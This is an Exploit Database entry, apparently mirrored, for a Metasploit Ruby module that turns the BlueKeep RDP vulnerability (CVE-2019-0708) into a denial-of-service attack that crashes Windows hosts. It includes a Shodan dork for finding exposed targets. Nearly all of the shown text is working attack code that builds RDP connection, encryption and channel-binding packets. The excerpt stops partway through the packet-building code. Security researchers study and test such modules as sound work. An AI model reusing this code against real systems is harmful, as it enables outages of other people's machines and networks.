Microsoft Windows Remote Desktop – ‘BlueKeep’ Denial of Service (Metasploit)

• Exploit Database
• 13 阅读

• 作者： RAMELLA Sebastien
  日期： 2019-07-15
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/47120/

• # Exploit Title: Bluekeep Denial of Service (metasploit module)
  # Shodan Dork: port:3389
  # Date: 07/14/2019
  # Exploit Author: RAMELLA Sebastien (https://github.com/mekhalleh/)
  # Vendor Homepage: https://microsoft.com
  # Version: all affected RDP services by cve-2019-0708
  # Tested on: Windows XP (32-bits) / Windows 7 (64-bits)
  # CVE : 2019-0708
  
  # I just modified the initial metasploit module for this vuln to produce a denial of service attack.
  
  ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Auxiliary
  Rank = NormalRanking
  
  include Msf::Auxiliary::Dos
  include Msf::Auxiliary::Scanner
  include Msf::Exploit::Remote::Tcp
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE',
  'Description'=> %q{
  This module checks a range of hosts for the CVE-2019-0708 vulnerability
  by binding the MS_T120 channel outside of its normal slot and sending
  DoS packets.
  },
  'Author' =>
  [
  'National Cyber Security Centre', # Discovery
  'JaGoTu', # Module
  'zerosum0x0', # Module
  'Tom Sellers',# TLS support and documented packets
  'RAMELLA Sebastien' # Denial of service module
  ],
  'References' =>
  [
  [ 'CVE', '2019-0708' ],
  [ 'URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708' ]
  ],
  'DisclosureDate' => '2019-05-14',
  'License'=> MSF_LICENSE,
  'Notes'=>
  {
  'Stability' => [ CRASH_OS_DOWN ],
  'AKA' => ['BlueKeep']
  }
  ))
  
  register_options(
  [
  OptAddress.new('RDP_CLIENT_IP', [ true, 'The client IPv4 address to report during connection', '192.168.0.100']),
  OptString.new('RDP_CLIENT_NAME', [ false, 'The client computer name to report during connection', 'rdesktop']),
  OptString.new('RDP_DOMAIN', [ false, 'The client domain name to report during connection', '']),
  OptString.new('RDP_USER', [ false, 'The username to report during connection.']),
  OptAddressRange.new("RHOSTS", [ true, 'Target address, address range or CIDR identifier']),
  OptInt.new('RPORT', [true, 'The target TCP port on which the RDP protocol response', 3389])
  ]
  )
  end
  
  # ------------------------------------------------------------------------- #
  
  def bin_to_hex(s)
  return(s.each_byte.map { | b | b.to_s(16).rjust(2, '0') }.join)
  end
  
  def bytes_to_bignum(bytesIn, order = "little")
  bytes = bin_to_hex(bytesIn)
  if(order == "little")
  bytes = bytes.scan(/../).reverse.join('')
  end
  s = "0x" + bytes
  
  return(s.to_i(16))
  end
  
  ## https://www.ruby-forum.com/t/integer-to-byte-string-speed-improvements/67110
  def int_to_bytestring(daInt, num_chars = nil)
  unless(num_chars)
  bits_needed = Math.log(daInt) / Math.log(2)
  num_chars = (bits_needed / 8.0).ceil
  end
  if(pack_code = { 1 => 'C', 2 => 'S', 4 => 'L' }[ num_chars ])
  [daInt].pack(pack_code)
  else
  a = (0..(num_chars)).map{ | i |
  (( daInt >> i*8 ) & 0xFF ).chr
  }.join
  a[0..-2] # Seems legit lol!
  end
  end
  
  def open_connection()
  begin
  connect()
  sock.setsockopt(::Socket::IPPROTO_TCP, ::Socket::TCP_NODELAY, 1)
  rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
  vprint_error("Connection error: #{e.message}")
  return(false)
  end
  
  return(true)
  end
  
  def rsa_encrypt(bignum, rsexp, rsmod)
  return((bignum ** rsexp) % rsmod)
  end
  
  # ------------------------------------------------------------------------- #
  
  ## Used to abruptly abort scanner for a given host.
  class RdpCommunicationError < StandardError
  end
  
  ## Define standard RDP constants.
  class RDPConstants
  PROTOCOL_RDP = 0
  end
  
  DEFAULT_CHANNELS_DEFS =
  "\x04\x00\x00\x00" + # channelCount: 4
  
  ## Channels definitions consist of a name (8 bytes) and options flags
  ## (4 bytes). Names are up to 7 ANSI characters with null termination.
  "\x72\x64\x70\x73\x6e\x64\x00\x00" + # rdpsnd
  "\x0f\x00\x00\xc0" +
  "\x63\x6c\x69\x70\x72\x64\x72\x00" + # cliprdr
  "\x00\x00\xa0\xc0" +
  "\x64\x72\x64\x79\x6e\x76\x63" + # drdynvc
  "\x00\x00\x00\x80\xc0" +
  "\x4d\x53\x5f\x54\x31\x32\x30" + # MS_T120
  "\x00\x00\x00\x00\x00"
  
  ## Builds x.224 Data (DT) TPDU - Section 13.7
  def rdp_build_data_tpdu(data)
  tpkt_length = data.length + 7
  
  "\x03\x00" + # TPKT Header version 03, reserved 0
  [tpkt_length].pack("S>") + # TPKT length
  "\x02\xf0" + # X.224 Data TPDU (2 bytes)
  "\x80" + # X.224 End Of Transmission (0x80)
  data
  end
  
  ## Build the X.224 packet, encrypt with Standard RDP Security as needed.
  ## Default channel_id = 0x03eb = 1003.
  def rdp_build_pkt(data, rc4enckey = nil, hmackey = nil, channel_id = "\x03\xeb", client_info = false, rdp_sec = true)
  flags = 0
  flags |= 0b1000 if(rdp_sec)# Set SEC_ENCRYPT
  flags |= 0b1000000 if(client_info) # Set SEC_INFO_PKT
  
  pdu = ""
  
  ## TS_SECURITY_HEADER - 2.2.8.1.1.2.1
  ## Send when the packet is encrypted w/ Standard RDP Security and in all Client Info PDUs.
  if(client_info || rdp_sec)
  pdu << [flags].pack("S<")# flags"\x48\x00" = SEC_INFO_PKT | SEC_ENCRYPT
  pdu << "\x00\x00"# flagsHi
  end
  
  if(rdp_sec)
  ## Encrypt the payload with RDP Standard Encryption.
  pdu << rdp_hmac(hmackey, data)[0..7]
  pdu << rdp_rc4_crypt(rc4enckey, data)
  else
  pdu << data
  end
  
  user_data_len = pdu.length
  udl_with_flag = 0x8000 | user_data_len
  
  pkt ="\x64"# sendDataRequest
  pkt << "\x00\x08"# intiator userId (TODO: for a functional client this isn't static)
  pkt << channel_id# channelId
  pkt << "\x70"# dataPriority
  pkt << [udl_with_flag].pack("S>")
  pkt << pdu
  
  return(rdp_build_data_tpdu(pkt))
  end
  
  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/73d01865-2eae-407f-9b2c-87e31daac471
  ## Share Control Header - TS_SHARECONTROLHEADER - 2.2.8.1.1.1.1
  def rdp_build_share_control_header(type, data, channel_id = "\xf1\x03")
  total_len = data.length + 6
  
  return(
  [total_len].pack("S<") + # totalLength - includes all headers
  [type].pack("S<") +# pduType - flags 16 bit, unsigned
  channel_id + # PDUSource: 0x03f1 = 1009
  data
  )
  end
  
  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4b5d4c0d-a657-41e9-9c69-d58632f46d31
  ## Share Data Header - TS_SHAREDATAHEADER - 2.2.8.1.1.1.2
  def rdp_build_share_data_header(type, data)
  uncompressed_len = data.length + 4
  
  return(
  "\xea\x03\x01\x00" + # shareId: 66538
  "\x00" + # pad1
  "\x01" + # streamID: 1
  [uncompressed_len].pack("S<") +# uncompressedLength - 16 bit, unsigned int
  [type].pack("C") + # pduType2 - 8 bit, unsigned int - 2.2.8.1.1.2
  "\x00" + # compressedType: 0
  "\x00\x00" + # compressedLength: 0
  data
  )
  end
  
  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/6c074267-1b32-4ceb-9496-2eb941a23e6b
  ## Virtual Channel PDU 2.2.6.1
  def rdp_build_virtual_channel_pdu(flags, data)
  data_len = data.length
  
  return(
  [data_len].pack("L<") +# length
  [flags].pack("L<") + # flags
  data
  )
  end
  
  def rdp_calculate_rc4_keys(client_random, server_random)
  ## preMasterSecret = First192Bits(ClientRandom) + First192Bits(ServerRandom).
  preMasterSecret = client_random[0..23] + server_random[0..23]
  
  ## PreMasterHash(I) = SaltedHash(preMasterSecret, I)
  ## MasterSecret = PreMasterHash(0x41) + PreMasterHash(0x4242) + PreMasterHash(0x434343).
  masterSecret = rdp_salted_hash(preMasterSecret, "A", client_random,server_random) +rdp_salted_hash(preMasterSecret, "BB", client_random, server_random) + rdp_salted_hash(preMasterSecret, "CCC", client_random, server_random)
  
  ## MasterHash(I) = SaltedHash(MasterSecret, I)
  ## SessionKeyBlob = MasterHash(0x58) + MasterHash(0x5959) + MasterHash(0x5A5A5A).
  sessionKeyBlob = rdp_salted_hash(masterSecret, "X", client_random, server_random) +rdp_salted_hash(masterSecret, "YY", client_random, server_random) + rdp_salted_hash(masterSecret, "ZZZ", client_random, server_random)
  
  ## InitialClientDecryptKey128 = FinalHash(Second128Bits(SessionKeyBlob)).
  initialClientDecryptKey128 = rdp_final_hash(sessionKeyBlob[16..31], client_random, server_random)
  
  ## InitialClientEncryptKey128 = FinalHash(Third128Bits(SessionKeyBlob)).
  initialClientEncryptKey128 = rdp_final_hash(sessionKeyBlob[32..47], client_random, server_random)
  
  macKey = sessionKeyBlob[0..15]
  
  return initialClientEncryptKey128, initialClientDecryptKey128, macKey, sessionKeyBlob
  end
  
  def rdp_connection_initiation()
  ## Code to check if RDP is open or not.
  vprint_status("Verifying RDP protocol...")
  
  vprint_status("Attempting to connect using RDP security")
  rdp_send(pdu_negotiation_request(datastore['RDP_USER'], RDPConstants::PROTOCOL_RDP))
  
  received = sock.get_once(-1, 5)
  
  ## TODO: fix it.
  if (received and received.include? "\x00\x12\x34\x00")
  return(true)
  end
  
  return(false)
  end
  
  ##FinalHash(K) = MD5(K + ClientRandom + ServerRandom).
  def rdp_final_hash(k, client_random_bytes, server_random_bytes)
  md5 = Digest::MD5.new
  
  md5 << k
  md5 << client_random_bytes
  md5 << server_random_bytes
  
  return([md5.hexdigest].pack("H*"))
  end
  
  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/7c61b54e-f6cd-4819-a59a-daf200f6bf94
  ## mac_salt_key = "W\x13\xc58\x7f\xeb\xa9\x10*\x1e\xddV\x96\x8b[d"
  ## data_content = "\x12\x00\x17\x00\xef\x03\xea\x03\x02\x00\x00\x01\x04\x00$\x00\x00\x00"
  ## hmac = rdp_hmac(mac_salt_key, data_content) # hexlified: "22d5aeb486994a0c785dc929a2855923".
  def rdp_hmac(mac_salt_key, data_content)
  sha1 = Digest::SHA1.new
  md5 = Digest::MD5.new
  
  pad1 = "\x36" * 40
  pad2 = "\x5c" * 48
  
  sha1 << mac_salt_key
  sha1 << pad1
  sha1 << [data_content.length].pack('<L')
  sha1 << data_content
  
  md5 << mac_salt_key
  md5 << pad2
  md5 << [sha1.hexdigest].pack("H*")
  
  return([md5.hexdigest].pack("H*"))
  end
  
  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/927de44c-7fe8-4206-a14f-e5517dc24b1c
  ## Parse Server MCS Connect Response PUD - 2.2.1.4
  def rdp_parse_connect_response(pkt)
  ptr = 0
  rdp_pkt = pkt[0x49..pkt.length]
  
  while(ptr < rdp_pkt.length)
  header_type = rdp_pkt[ptr..ptr + 1]
  header_length = rdp_pkt[ptr + 2..ptr + 3].unpack("S<")[0]
  # vprint_status("header: #{bin_to_hex(header_type)}, len: #{header_length}")
  
  if(header_type == "\x02\x0c")
  # vprint_status("Security header")
  
  server_random = rdp_pkt[ptr + 20..ptr + 51]
  public_exponent = rdp_pkt[ptr + 84..ptr + 87]
  
  modulus = rdp_pkt[ptr + 88..ptr + 151]
  # vprint_status("modulus_old: #{bin_to_hex(modulus)}")
  
  rsa_magic = rdp_pkt[ptr + 68..ptr + 71]
  if(rsa_magic != "RSA1")
  print_error("Server cert isn't RSA, this scenario isn't supported (yet).")
  raise RdpCommunicationError
  end
  # vprint_status("RSA magic: #{rsa_magic}")
  
  bitlen = rdp_pkt[ptr + 72..ptr + 75].unpack("L<")[0] - 8
  vprint_status("RSA #{bitlen}-bits")
  
  modulus = rdp_pkt[ptr + 88..ptr + 87 + bitlen]
  # vprint_status("modulus_new: #{bin_to_hex(modulus)}")
  end
  
  ptr += header_length
  end
  
  # vprint_status("SERVER_MODULUS:#{bin_to_hex(modulus)}")
  # vprint_status("SERVER_EXPONENT: #{bin_to_hex(public_exponent)}")
  # vprint_status("SERVER_RANDOM: #{bin_to_hex(server_random)}")
  
  rsmod = bytes_to_bignum(modulus)
  rsexp = bytes_to_bignum(public_exponent)
  rsran = bytes_to_bignum(server_random)
  
  vprint_status("MODULUS:#{bin_to_hex(modulus)} - #{rsmod.to_s}")
  vprint_status("EXPONENT: #{bin_to_hex(public_exponent)} - #{rsexp.to_s}")
  vprint_status("SVRANDOM: #{bin_to_hex(server_random)} - #{rsran.to_s}")
  
  return rsmod, rsexp, rsran, server_random, bitlen
  end
  
  def rdp_rc4_crypt(rc4obj, data)
  rc4obj.encrypt(data)
  end
  
  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/705f9542-b0e3-48be-b9a5-cf2ee582607f
  ## SaltedHash(S, I) = MD5(S + SHA(I + S + ClientRandom + ServerRandom))
  def rdp_salted_hash(s_bytes, i_bytes, client_random_bytes, server_random_bytes)
  sha1 = Digest::SHA1.new
  md5 = Digest::MD5.new
  
  sha1 << i_bytes
  sha1 << s_bytes
  sha1 << client_random_bytes
  sha1 << server_random_bytes
  
  md5 << s_bytes
  md5 << [sha1.hexdigest].pack("H*")
  
  return([md5.hexdigest].pack("H*"))
  end
  
  def rdp_recv()
  buffer_1 = sock.get_once(4, 5)
  raise RdpCommunicationError unless buffer_1# nil due to a timeout
  
  buffer_2 = sock.get_once(buffer_1[2..4].unpack("S>")[0], 5)
  raise RdpCommunicationError unless buffer_2# nil due to a timeout
  
  vprint_status("Received data: #{bin_to_hex(buffer_1 + buffer_2)}")
  return(buffer_1 + buffer_2)
  end
  
  def rdp_send(data)
  vprint_status("Send data: #{bin_to_hex(data)}")
  
  sock.put(data)
  end
  
  def rdp_sendrecv(data)
  rdp_send(data)
  
  return(rdp_recv())
  end
  
  # ------------------------------------------------------------------------- #
  
  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/18a27ef9-6f9a-4501-b000-94b1fe3c2c10
  ## Client X.224 Connect Request PDU - 2.2.1.1
  def pdu_negotiation_request(user_name = "", requested_protocols = RDPConstants::PROTOCOL_RDP)
  ## Blank username is valid, nil is random.
  user_name = Rex::Text.rand_text_alpha(12) if(user_name.nil?)
  tpkt_len = user_name.length + 38
  x224_len = user_name.length + 33
  
  return(
  "\x03\x00" + # TPKT Header version 03, reserved 0
  [tpkt_len].pack("S>") +# TPKT length: 43
  [x224_len].pack("C") + # X.224 LengthIndicator
  "\xe0" + # X.224 Type: Connect Request
  "\x00\x00" + # dst reference
  "\x00\x00" + # src reference
  "\x00" + # class and options
  "\x43\x6f\x6f\x6b\x69\x65\x3a\x20\x6d\x73\x74\x73\x68\x61\x73\x68\x3d" + # cookie - literal 'Cookie: mstshash='
  user_name +# Identifier "username"
  "\x0d\x0a" + # cookie terminator
  "\x01\x00" + # Type: RDP Negotiation Request (0x01)
  "\x08\x00" + # Length
  [requested_protocols].pack('L<') # requestedProtocols
  )
  end
  
  # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/db6713ee-1c0e-4064-a3b3-0fac30b4037b
  def pdu_connect_initial(selected_proto = RDPConstants::PROTOCOL_RDP, host_name = "rdesktop", channels_defs = DEFAULT_CHANNELS_DEFS)
  ## After negotiating TLS or NLA the connectInitial packet needs to include the
  ## protocol selection that the server indicated in its negotiation response.
  
  ## TODO: If this is pulled into an RDP library then the channel list likely
  ## needs to be build dynamically. For example, MS_T120 likely should only
  ## ever be sent as part of checks for CVE-2019-0708.
  
  ## build clientName - 12.2.1.3.2 Client Core Data (TS_UD_CS_CORE)
  ## 15 characters + null terminator, converted to unicode
  ## fixed length - 32 characters total
  name_unicode = Rex::Text.to_unicode(host_name[0..14], type = 'utf-16le')
  name_unicode += "\x00" * (32 - name_unicode.length)
  
  pdu = "\x7f\x65" + # T.125 Connect-Initial(BER: Application 101)
  "\x82\x01\xb2" + # Length (BER: Length)
  "\x04\x01\x01" + # CallingDomainSelector: 1 (BER: OctetString)
  "\x04\x01\x01" + # CalledDomainSelector: 1(BER: OctetString)
  "\x01\x01\xff" + # UpwaredFlag: True(BER: boolean)
  
  ## Connect-Initial: Target Parameters
  "\x30\x19" + # TargetParamenters(BER: SequenceOf)
  ## *** not sure why the BER encoded Integers below have 2 byte values instead of one ***
  "\x02\x01\x22\x02\x01\x02\x02\x01\x00\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\xff\xff\x02\x01\x02" +
  
  ## Connect-Intial: Minimum Parameters
  "\x30\x19" + # MinimumParameters(BER: SequencOf)
  "\x02\x01\x01\x02\x01\x01\x02\x01\x01\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\x04\x20\x02\x01\x02" +
  
  ## Connect-Initial: Maximum Parameters
  "\x30\x1c" + # MaximumParameters(BER: SequencOf)
  "\x02\x02\xff\xff\x02\x02\xfc\x17\x02\x02\xff\xff\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\xff\xff\x02\x01\x02" +
  
  ## Connect-Initial: UserData
  "\x04\x82\x01\x51" + # UserData, length 337 (BER: OctetString)
  
  ## T.124 GCC Connection Data (ConnectData) - PER Encoding used
  "\x00\x05" + # object length
  "\x00\x14\x7c\x00\x01" + # object: OID 0.0.20.124.0.1 = Generic Conference Control
  "\x81\x48" + # Length: ??? (Connect PDU)
  "\x00\x08\x00\x10\x00\x01\xc0\x00" + # T.124 Connect PDU, Conference name 1
  "\x44\x75\x63\x61" + # h221NonStandard: 'Duca' (client-to-server H.221 key)
  "\x81\x3a" + # Length: ??? (T.124 UserData section)
  
  ## Client MCS Section - 2.2.1.3
  "\x01\xc0" + # clientCoreData (TS_UD_CS_CORE) header - 2.2.1.3.2
  "\xea\x00" + # Length: 234 (includes header)
  "\x0a\x00\x08\x00" + # version: 8.1 (RDP 5.0 -> 8.1)
  "\x80\x07" + # desktopWidth: 1920
  "\x38\x04" + # desktopHeigth: 1080
  "\x01\xca" + # colorDepth: 8 bpp
  "\x03\xaa" + # SASSequence: 43523
  "\x09\x04\x00\x00" + # keyboardLayout: 1033 (English US)
  "\xee\x42\x00\x00" + # clientBuild: ????
  [name_unicode].pack("a*") +# clientName
  "\x04\x00\x00\x00" + # keyboardType: 4 (IBMEnhanced 101 or 102)
  "\x00\x00\x00\x00" + # keyboadSubtype: 0
  "\x0c\x00\x00\x00" + # keyboardFunctionKey: 12
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + # imeFileName (64 bytes)
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
  "\x01\xca" + # postBeta2ColorDepth: 8 bpp
  "\x01\x00" + # clientProductID: 1
  "\x00\x00\x00\x00" + # serialNumber: 0
  "\x18\x00" + # highColorDepth: 24 bpp
  "\x0f\x00" + # supportedColorDepths: flag (24 bpp | 16 bpp | 15 bpp)
  "\xaf\x07" + # earlyCapabilityFlags
  "\x62\x00\x63\x00\x37\x00\x38\x00\x65\x00\x66\x00\x36\x00\x33\x00" + # clientDigProductID (64 bytes)
  "\x2d\x00\x39\x00\x64\x00\x33\x00\x33\x00\x2d\x00\x34\x00\x31\x00" +
  "\x39\x38\x00\x38\x00\x2d\x00\x39\x00\x32\x00\x63\x00\x66\x00\x2d" +
  "\x00\x00\x31\x00\x62\x00\x32\x00\x64\x00\x61\x00\x42\x42\x42\x42" +
  "\x07" + # connectionType: 7
  "\x00" + # pad1octet
  
  ## serverSelectedProtocol - After negotiating TLS or CredSSP this value
  ## must match the selectedProtocol value from the server's Negotiate
  ## Connection confirm PDU that was sent before encryption was started.
  [selected_proto].pack('L<') +# "\x01\x00\x00\x00"
  
  "\x56\x02\x00\x00" +
  "\x50\x01\x00\x00" +
  "\x00\x00" +
  "\x64\x00\x00\x00" +
  "\x64\x00\x00\x00" +
  
  "\x04\xc0" + # clientClusterdata (TS_UD_CS_CLUSTER) header - 2.2.1.3.5
  "\x0c\x00" + # Length: 12 (includes header)
  "\x15\x00\x00\x00" + # flags (REDIRECTION_SUPPORTED | REDIRECTION_VERSION3)
  "\x00\x00\x00\x00" + # RedirectedSessionID
  "\x02\xc0" + # clientSecuritydata (TS_UD_CS_SEC) header - 2.2.1.3.3
  "\x0c\x00" + # Length: 12 (includes header)
  "\x1b\x00\x00\x00" + # encryptionMethods: 3 (40 bit | 128 bit)
  "\x00\x00\x00\x00" + # extEncryptionMethods (French locale only)
  "\x03\xc0" + # clientNetworkData (TS_UD_CS_NET) - 2.2.1.3.4
  "\x38\x00" + # Length: 56 (includes header)
  channels_defs
  
  ## Fix. for packet modification.
  ## T.125 Connect-Initial
  size_1 = [pdu.length - 5].pack("s")# Length (BER: Length)
  pdu[3] = size_1[1]
  pdu[4] = size_1[0]
  
  ## Connect-Initial: UserData
  size_2 = [pdu.length - 102].pack("s")# UserData, length (BER: OctetString)
  pdu[100] = size_2[1]
  pdu[101] = size_2[0]
  
  ## T.124 GCC Connection Data (ConnectData) - PER Encoding used
  size_3 = [pdu.length - 111].pack("s")# Length (Connect PDU)
  pdu[109] = "\x81"
  pdu[110] = size_3[0]
  
  size_4 = [pdu.length - 125].pack("s")# Length (T.124 UserData section)
  pdu[123] = "\x81"
  pdu[124] = size_4[0]
  
  ## Client MCS Section - 2.2.1.3
  size_5 = [pdu.length - 383].pack("s")# Length (includes header)
  pdu[385] = size_5[0]
  
  rdp_build_data_tpdu(pdu)
  end
  
  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/9cde84cd-5055-475a-ac8b-704db419b66f
  ## Client Security Exchange PDU - 2.2.1.10
  def pdu_security_exchange(rcran, rsexp, rsmod, bitlen)
  encrypted_rcran_bignum = rsa_encrypt(rcran, rsexp, rsmod)
  encrypted_rcran = int_to_bytestring(encrypted_rcran_bignum)
  
  bitlen += 8# Pad with size of TS_SECURITY_PACKET header
  
  userdata_length = 8 + bitlen
  userdata_length_low = userdata_length & 0xFF
  userdata_length_high = userdata_length / 256
  flags = 0x80 | userdata_length_high
  
  pdu = "\x64" + # T.125 sendDataRequest
  "\x00\x08" + # intiator userId
  "\x03\xeb" + # channelId = 1003
  "\x70" + # dataPriority = high, segmentation = begin | end
  [flags].pack("C") +
  [userdata_length_low].pack("C") +# UserData length
  
  # TS_SECURITY_PACKET - 2.2.1.10.1
  "\x01\x00" + # securityHeader flags
  "\x00\x00" + # securityHeader flagsHi
  [bitlen].pack("L<") +# TS_ length
  encrypted_rcran +# encryptedClientRandom - 64 bytes
  "\x00\x00\x00\x00\x00\x00\x00\x00" # 8 bytes rear padding (always present)
  
  return(rdp_build_data_tpdu(pdu))
  end
  
  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/04c60697-0d9a-4afd-a0cd-2cc133151a9c
  ## Client MCS Erect Domain Request PDU - 2.2.1.5
  def pdu_erect_domain_request()
  pdu = "\x04" + # T.125 ErectDomainRequest
  "\x01\x00" + # subHeight - length 1, value 0
  "\x01\x00" # subInterval - length 1, value 0
  
  return(rdp_build_data_tpdu(pdu))
  end
  
  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/f5d6a541-9b36-4100-b78f-18710f39f247\
  ## Client MCS Attach User Request PDU - 2.2.1.6
  def pdu_attach_user_request()
  pdu = "\x28" # T.125 AttachUserRequest
  
  return(rdp_build_data_tpdu(pdu))
  end
  
  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/64564639-3b2d-4d2c-ae77-1105b4cc011b
  ## Client MCS Channel Join Request PDU -2.2.1.8
  def pdu_channel_request(user1, channel_id)
  pdu = "\x38" + [user1, channel_id].pack("nn")# T.125 ChannelJoinRequest
  
  return(rdp_build_data_tpdu(pdu))
  end
  
  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/772d618e-b7d6-4cd0-b735-fa08af558f9d
  ## TS_INFO_PACKET - 2.2.1.11.1.1
  def pdu_client_info(user_name, domain_name = "", ip_address = "")
  ## Max. len for 4.0/6.0 servers is 44 bytes including terminator.
  ## Max. len for all other versions is 512 including terminator.
  ## We're going to limit to 44 (21 chars + null -> unicode) here.
  
  ## Blank username is valid, nil = random.
  user_name = Rex::Text.rand_text_alpha(10) if user_name.nil?
  user_unicode = Rex::Text.to_unicode(user_name[0..20],type = 'utf-16le')
  uname_len = user_unicode.length
  
  ## Domain can can be, and for rdesktop typically is, empty.
  ## Max. len for 4.0/5.0 servers is 52 including terminator.
  ## Max. len for all other versions is 512 including terminator.
  ## We're going to limit to 52 (25 chars + null -> unicode) here.
  domain_unicode = Rex::Text.to_unicode(domain_name[0..24], type = 'utf-16le')
  domain_len = domain_unicode.length
  
  ## This address value is primarily used to reduce the fields by which this
  ## module can be fingerprinted. It doesn't show up in Windows logs.
  ## clientAddress + null terminator
  ip_unicode = Rex::Text.to_unicode(ip_address, type = 'utf-16le') + "\x00\x00"
  ip_len = ip_unicode.length
  
  pdu = "\xa1\xa5\x09\x04" +
  "\x09\x04\xbb\x47" + # CodePage
  "\x03\x00\x00\x00" + # flags - INFO_MOUSE, INFO_DISABLECTRLALTDEL, INFO_UNICODE, INFO_MAXIMIZESHELL, INFO_ENABLEWINDOWSKEY
  [domain_len].pack("S<") +# cbDomain (length value) - EXCLUDES null terminator
  [uname_len].pack("S<") + # cbUserName (length value) - EXCLUDES null terminator
  "\x00\x00" + # cbPassword (length value)
  "\x00\x00" + # cbAlternateShell (length value)
  "\x00\x00" + # cbWorkingDir (length value)
  [domain_unicode].pack("a*") +# Domain
  "\x00\x00" + # Domain null terminator, EXCLUDED from value of cbDomain
  [user_unicode].pack("a*") +# UserName
  "\x00\x00" + # UserName null terminator, EXCLUDED FROM value of cbUserName
  "\x00\x00" + # Password - empty
  "\x00\x00" + # AlternateShell - empty
  
  ## TS_EXTENDED_INFO_PACKET - 2.2.1.11.1.1.1
  "\x02\x00" + # clientAddressFamily - AF_INET - FIXFIX - detect and set dynamically
  [ip_len].pack("S<") +# cbClientAddress (length value) - INCLUDES terminator ... for reasons.
  [ip_unicode].pack("a*") +# clientAddress (unicode + null terminator (unicode)
  
  "\x3c\x00" + # cbClientDir (length value): 60
  "\x43\x00\x3a\x00\x5c\x00\x57\x00\x49\x00\x4e\x00\x4e\x00\x54\x00" + # clientDir - 'C:\WINNT\System32\mstscax.dll' + null terminator
  "\x5c\x00\x53\x00\x79\x00\x73\x00\x74\x00\x65\x00\x6d\x00\x33\x00" +
  "\x32\x00\x5c\x00\x6d\x00\x73\x00\x74\x00\x73\x00\x63\x00\x61\x00" +
  "\x78\x00\x2e\x00\x64\x00\x6c\x00\x6c\x00\x00\x00" +
  
  ## clientTimeZone - TS_TIME_ZONE struct - 172 bytes
  ## These are the default values for rdesktop
  "\xa4\x01\x00\x00" + # Bias
  
  ## StandardName - 'GTB,normaltid'
  "\x4d\x00\x6f\x00\x75\x00\x6e\x00\x74\x00\x61\x00\x69\x00\x6e\x00" +
  "\x20\x00\x53\x00\x74\x00\x61\x00\x6e\x00\x64\x00\x61\x00\x72\x00" +
  "\x64\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00" +
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
  "\x00\x00\x0b\x00\x00\x00\x01\x00\x02\x00\x00\x00\x00\x00\x00\x00" + # StandardDate
  "\x00\x00\x00\x00" + # StandardBias
  
  ## DaylightName - 'GTB,sommartid'
  "\x4d\x00\x6f\x00\x75\x00\x6e\x00\x74\x00\x61\x00\x69\x00\x6e\x00" +
  "\x20\x00\x44\x00\x61\x00\x79\x00\x6c\x00\x69\x00\x67\x00\x68\x00" +
  "\x74\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00" +
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
  "\x00\x00\x03\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\x00\x00" + # DaylightDate
  "\xc4\xff\xff\xff" + # DaylightBias
  
  "\x01\x00\x00\x00" + # clientSessionId
  "\x06\x00\x00\x00" + # performanceFlags
  "\x00\x00" + # cbAutoReconnectCookie
  "\x64\x00\x00\x00"
  
  return(pdu)
  end
  
  # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4e9722c3-ad83-43f5-af5a-529f73d88b48
  # Confirm Active PDU Data - TS_CONFIRM_ACTIVE_PDU - 2.2.1.13.2.1
  def pdu_client_confirm_active()
  pdu= "\xea\x03\x01\x00" +# shareId: 66538
  "\xea\x03" + # originatorId
  "\x06\x00" + # lengthSourceDescriptor: 6
  "\x3e\x02" + # lengthCombinedCapabilities: ???
  "\x4d\x53\x54\x53\x43\x00" + # SourceDescriptor: 'MSTSC'
  "\x17\x00" + # numberCapabilities: 23
  "\x00\x00" + # pad2Octets
  "\x01\x00" + # capabilitySetType: 1 - TS_GENERAL_CAPABILITYSET
  "\x18\x00" + # lengthCapability: 24
  "\x01\x00\x03\x00\x00\x02\x00\x00\x00\x00\x1d\x04\x00\x00\x00\x00" +
  "\x00\x00\x00\x00" +
  "\x02\x00" + # capabilitySetType: 2 - TS_BITMAP_CAPABILITYSET
